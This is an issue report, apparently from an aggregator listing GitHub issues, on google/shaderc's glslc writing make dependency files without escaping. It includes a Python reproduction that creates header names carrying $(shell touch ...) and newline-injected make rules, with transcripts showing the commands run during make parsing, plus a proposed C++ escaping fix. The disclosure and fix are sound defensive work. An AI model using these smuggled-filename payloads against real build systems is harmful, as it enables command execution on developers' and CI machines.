google / google/shaderc

glslc depfiles emit make-special characters unescaped — $(shell …) executes when GNU make parses the .d, and newlines inject rules (extends #1220)

Open
#1,600 0 comments 0 reactions 0 assignees View on GitHub
Dominant language
C++
Stars
2.2k
Forks
445
Avg merge
11h 6m
Merged PRs (30d)
6

Description

## Summary

`glslc -M` / `-MD` writes `.d` dependency files with no escaping of
make-special characters. #1220 already documents the correctness symptom for
filenames containing spaces. This issue adds what the missing escaping means
for the most common downstream consumer, GNU make, which does not treat a
depfile as data: prerequisite lines are expanded and interpreted at read time.
Four consequences, all reproduced below against a current build:

1. `$` in a dependency path is expanded as a make function/variable. A header
named `h$(shell touch make_parse_marker).glsl` makes `make` execute `touch`
while merely reading the depfile — including under `make -n` and via the
standard `-include foo.spv.d` pattern.
2. A newline in a dependency path is a rule boundary: complete make rules with
tab-prefixed recipes can be injected into the depfile.
3. `#` turns the rest of the dependency line into a comment — the dependency is
silently dropped.
4. A space splits the prerequisite list — #1220's case.

Also reproduced: the depfile is written even when the shader fails to compile
(`glslc` exits 1), so the inputs do not need to be valid shaders.

None of this requires unusual paths on the command line: the affected strings
include the resolved paths of `#include`d files, and include names come from
the shader source itself (next section).

## Why the escaping matters for make

The idiomatic consumer of compiler `.d` files is a Makefile fragment:

```make
all: app
app: shader.spv
glslc shader.frag -o shader.spv
-include shader.spv.d
```

GNU make reads `shader.spv.d` as makefile content: prerequisite names undergo
variable/function expansion at read time, `#` starts a comment, newlines
separate rules, and a tab-indented line after a rule header is a recipe. A
depfile is therefore only safe if the producer escapes every character with
make meaning out of the names it writes.

GCC and Clang do this — `libcpp/mkdeps.cc`, `munge()`: `$` → `$$`,
space/tab → `\ `, `#` → `\#`. glslang's own standalone depfile writer does it
too — `Standalone/StandAlone.cpp`, `writeEscapedDepString()`: escapes
` `, `:`, `#`, `[`, `]`, `\`, and `$` → `$$`. glslc's writer escapes nothing:

```cpp
// glslc/src/dependency_info.cc:38-45 (27d8e0b5, 2026-09-04)
std::stringstream dep_string_stream;
// dump target label and the source_file_name.
dep_string_stream << dep_target_label << ": " << source_file_name;
// dump the dependent file names.
for (auto& dependent_file_name : dependent_files) {
dep_string_stream << " " << dependent_file_name;
}
dep_string_stream << std::endl;
```

## How these strings reach the depfile

The dependency list emitted here is the set of resolved paths of every file
opened through `#include` (`FileIncluder::GetInclude` → `FileFinder` →
`included_files_` → `DumpDependencyInfo`). The include name itself is read
from the shader being compiled: glslang's `scanHeaderName`
(`MachineIndependent/preprocessor/Pp.cpp:1074-1101`) accepts every byte except
the closing delimiter — spaces, `$`, `#`, and newlines are all legal inside
`#include "..."`. So a shader plus a weird-named header shipped together (for
example in a dependency tree or asset package) put attacker-chosen bytes into
the depfile when the build compiles that shader with `-MD`. The only
constraints are that the crafted name must resolve to a real readable file and
cannot contain `/` or NUL inside a filename component — a `$(shell …)` payload
needs neither.

The same writer also emits the `-MT` target label and the source filename, so
argv-supplied paths with spaces (#1220's report) flow through the identical
unescaped writer; the fix below should cover all three.

## Reproduction

Self-contained driver (adapt `GLSLC` to a built binary; each leg uses its own
directory):

```python
#!/usr/bin/env python3
"""Repro: glslc depfiles carry make-syntax-special bytes unescaped.

Legs:
A: '$' in an include name -> $(shell ...) runs when GNU make parses the .d
B: space in an include name -> prerequisite list splits
C: '#' in an include name -> rest of the dep line becomes a make comment
D: newline in an include name -> complete make rules with recipes appear
"""
import os
import shutil
import subprocess
import sys

GLSLC = os.environ.get("GLSLC", "glslc")
BASE = os.environ.get("REPRO_DIR", "glslc_depfile_repro")
HDR = "#define PAYLOAD 1\n"

def sh(cmd):
print(f"$ {cmd}")
r = subprocess.run(cmd, shell=True, capture_output=True, text=True)
sys.stdout.write(r.stdout)
sys.stderr.write(r.stderr)
print(f"[exit {r.returncode}]")
return r

def leg_a():
d = os.path.join(BASE, "a")
shutil.rmtree(d, ignore_errors=True)
os.makedirs(d)
marker = "make_parse_marker"
name = f"h$(shell touch {marker}).glsl"
with open(os.path.join(d, name), "w") as f:
f.write(HDR)
with open(os.path.join(d, "a.frag"), "w") as f:
f.write(f'#version 450\n#include "{name}"\nvoid main() {{}}\n')
sh(f"cd {d} && rm -f {marker} && {GLSLC} -MD a.frag -o a.spv")
print("--- a.spv.d ---")
print(open(os.path.join(d, "a.spv.d")).read(), end="")
sh(f"test -e {d}/{marker} && echo marker-exists || echo marker-absent")
sh(f"cd {d} && make -f a.spv.d -n a.spv; "
f"test -e {marker} && echo MARKER_AFTER_MAKE_N || echo not-created")
with open(os.path.join(d, "Makefile"), "w") as f:
f.write("all: a.spv\na.spv: a.frag\n\tglslc a.frag -o a.spv\n"
"-include a.spv.d\n")
sh(f"cd {d} && rm -f {marker} a.spv && make all; "
f"test -e {marker} && echo MARKER_AFTER_MAKE_ALL || echo not-created")

def leg_b():
d = os.path.join(BASE, "b")
shutil.rmtree(d, ignore_errors=True)
os.makedirs(d)
with open(os.path.join(d, "h with space.glsl"), "w") as f:
f.write(HDR)
with open(os.path.join(d, "b.frag"), "w") as f:
f.write('#version 450\n#include "h with space.glsl"\n'
'void main() {}\n')
sh(f"cd {d} && {GLSLC} -MD b.frag -o b.spv")
print("--- b.spv.d ---")
print(open(os.path.join(d, "b.spv.d")).read(), end="")
sh(f"cd {d} && make -f b.spv.d -n b.spv")

def leg_c():
d = os.path.join(BASE, "c")
shutil.rmtree(d, ignore_errors=True)
os.makedirs(d)
with open(os.path.join(d, "h#hidden.glsl"), "w") as f:
f.write(HDR)
with open(os.path.join(d, "c.frag"), "w") as f:
f.write('#version 450\n#include "h#hidden.glsl"\nvoid main() {}\n')
sh(f"cd {d} && {GLSLC} -MD c.frag -o c.spv")
print("--- c.spv.d ---")
print(open(os.path.join(d, "c.spv.d")).read(), end="")

def leg_d():
d = os.path.join(BASE, "d")
shutil.rmtree(d, ignore_errors=True)
os.makedirs(d)
marker = "rule_injection_marker"
name = f"x\nevil:\n\ttouch {marker}\nb:"
with open(os.path.join(d, name), "w") as f:
f.write(HDR)
with open(os.path.join(d, "d.frag"), "w") as f:
f.write('#version 450\n#include "' + name + '"\nvoid main() {}\n')
sh(f"cd {d} && {GLSLC} -MD d.frag -o d.spv")
print("--- d.spv.d (raw) ---")
sys.stdout.write(open(os.path.join(d, "d.spv.d")).read())
sh(f"cd {d} && rm -f {marker} && make -f d.spv.d evil; "
f"test -e {marker} && echo RULE_RECIPE_EXECUTED || echo injection-failed")

if __name__ == "__main__":
leg_a(); leg_b(); leg_c(); leg_d()
```

Observed (glslc built from `27d8e0b5`; GNU Make 3.81; transcript abridged to
the load-bearing lines — path prefixes shortened and marker names renamed for
readability; depfile bytes are exactly as emitted):

Leg A — `$` make-function execution at parse time:

```
$ glslc -MD a.frag -o a.spv
[exit 0]
--- a.spv.d ---
a.spv: a.frag h$(shell touch make_parse_marker).glsl

$ test -e make_parse_marker && echo marker-exists || echo marker-absent
marker-absent # glslc itself executed nothing

$ make -f a.spv.d -n a.spv ; test -e make_parse_marker && echo MARKER_AFTER_MAKE_N
MARKER_AFTER_MAKE_N # executed during make's dry run
make: *** No rule to make target `h.glsl', needed by `a.spv'. Stop.

$ make all # Makefile contains -include a.spv.d
MARKER_AFTER_MAKE_ALL
make: *** No rule to make target `h.glsl', needed by `a.spv'. Stop.
```

The `$(shell …)` runs when make reads the file — before any target is
considered, which is why even `make -n` executes it.

Leg B — space splits the prerequisite list:

```
$ glslc -MD b.frag -o b.spv
[exit 0]
--- b.spv.d ---
b.spv: b.frag h with space.glsl

$ make -f b.spv.d -n b.spv
make: *** No rule to make target `h', needed by `b.spv'. Stop.
```

Leg C — `#` makes the tail of the line a comment:

```
$ glslc -MD c.frag -o c.spv
[exit 0]
--- c.spv.d ---
c.spv: c.frag h#hidden.glsl
```

make sees prerequisites `c.frag` and `h`; the `#hidden.glsl` tail is a
comment, so the real dependency is silently dropped (stale-build hazard).

Leg D — newline injects complete rules; depfile written even on failed
compile:

```
$ glslc -MD d.frag -o d.spv
d.frag:2: error: 'string' : End of line in string
x:3: error: 'string' : End of line in string
2 errors generated.
[exit 1]
--- d.spv.d (raw) ---
d.spv: d.frag x
evil:
touch rule_injection_marker
b:

$ make -f d.spv.d evil
touch rule_injection_marker
RULE_RECIPE_EXECUTED
```

## Proposed fix

Port the escaping the rest of the ecosystem already does, and refuse what
cannot be escaped:

1. Escape each emitted name (target label, source file, every dependency) the
way GCC's `munge()` does — `$` → `$$`, space/tab → `\ `, `#` → `\#` —
optionally adopting glslang's writer set, which additionally escapes
`:`, `[`, `]`, `\`.
2. Newlines (and CR) cannot be represented in a make prerequisite at all:
reject the offending header name at depfile-emission time with a clear
diagnostic instead of emitting a rule boundary.

Sketch:

```cpp
// Escapes a path for GNU make depfile consumers, following GCC's
// munge() (libcpp/mkdeps.cc); glslang's writeEscapedDepString() covers
// the same set plus ':', '[', ']'.
static bool WriteEscapedDepPath(std::stringstream& out,
const std::string& path) {
for (char c : path) {
switch (c) {
case '$': out << "$$"; break;
case ' ':
case '\t': out << "\\ "; break;
case '#': out << "\\#"; break;
case ':':
case '[':
case ']':
case '\\': out << '\\' << c; break;
default:
if (c == '\n' || c == '\r') return false; // unrepresentable
out << c;
}
}
return true;
}
```

with the caller reporting an error for the `false` case (naming the include
that resolved to the offending path). This matches what every other producer
in this toolchain emits, so consumers stay unchanged.

## Consumer note: ninja is not affected by the execution legs

ninja's depfile parser (`src/depfile_parser.cc`) treats depfile entries as
literal paths: it de-escapes backslash-space and backslash-hash and performs
no `$` expansion and no rule interpretation. The execution consequences above
are GNU-make-specific. Emitting GCC-style escapes keeps ninja compatibility
(ninja's parser explicitly follows what GCC/Clang produce) and also fixes
ninja's residual exposure to unescaped names — split or silently truncated
dependency paths (legs B and C).

References: #1220 · GCC `libcpp/mkdeps.cc` (`munge`) · glslang
`Standalone/StandAlone.cpp` (`writeEscapedDepString`) · ninja
`src/depfile_parser.cc`.

Happy to send a PR for the escaping + rejection if the approach sounds right.

Contributor guide

Open the contributing guide

Research direction

Start in glslc/src/dependency_info.cc and trace DumpDependencyInfo from include resolution through the emitted target, source, and dependency paths. Run the supplied Python reproduction with GNU make, then compare the behavior with GCC's munge() and glslang's writeEscapedDepString(). Done means special characters are safely represented for make and ninja, while newline and carriage-return paths are rejected with a clear diagnostic.

Written by the indexing model from the issue text.

Assessment

Tech stack
cpp
Domain
build-system, compilers, security
Issue type
Bug
Difficulty
4/5
Estimated time
3-5 days
Activity status
Active
Clarity
Clearly specified
Newbie friendliness
55/100

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.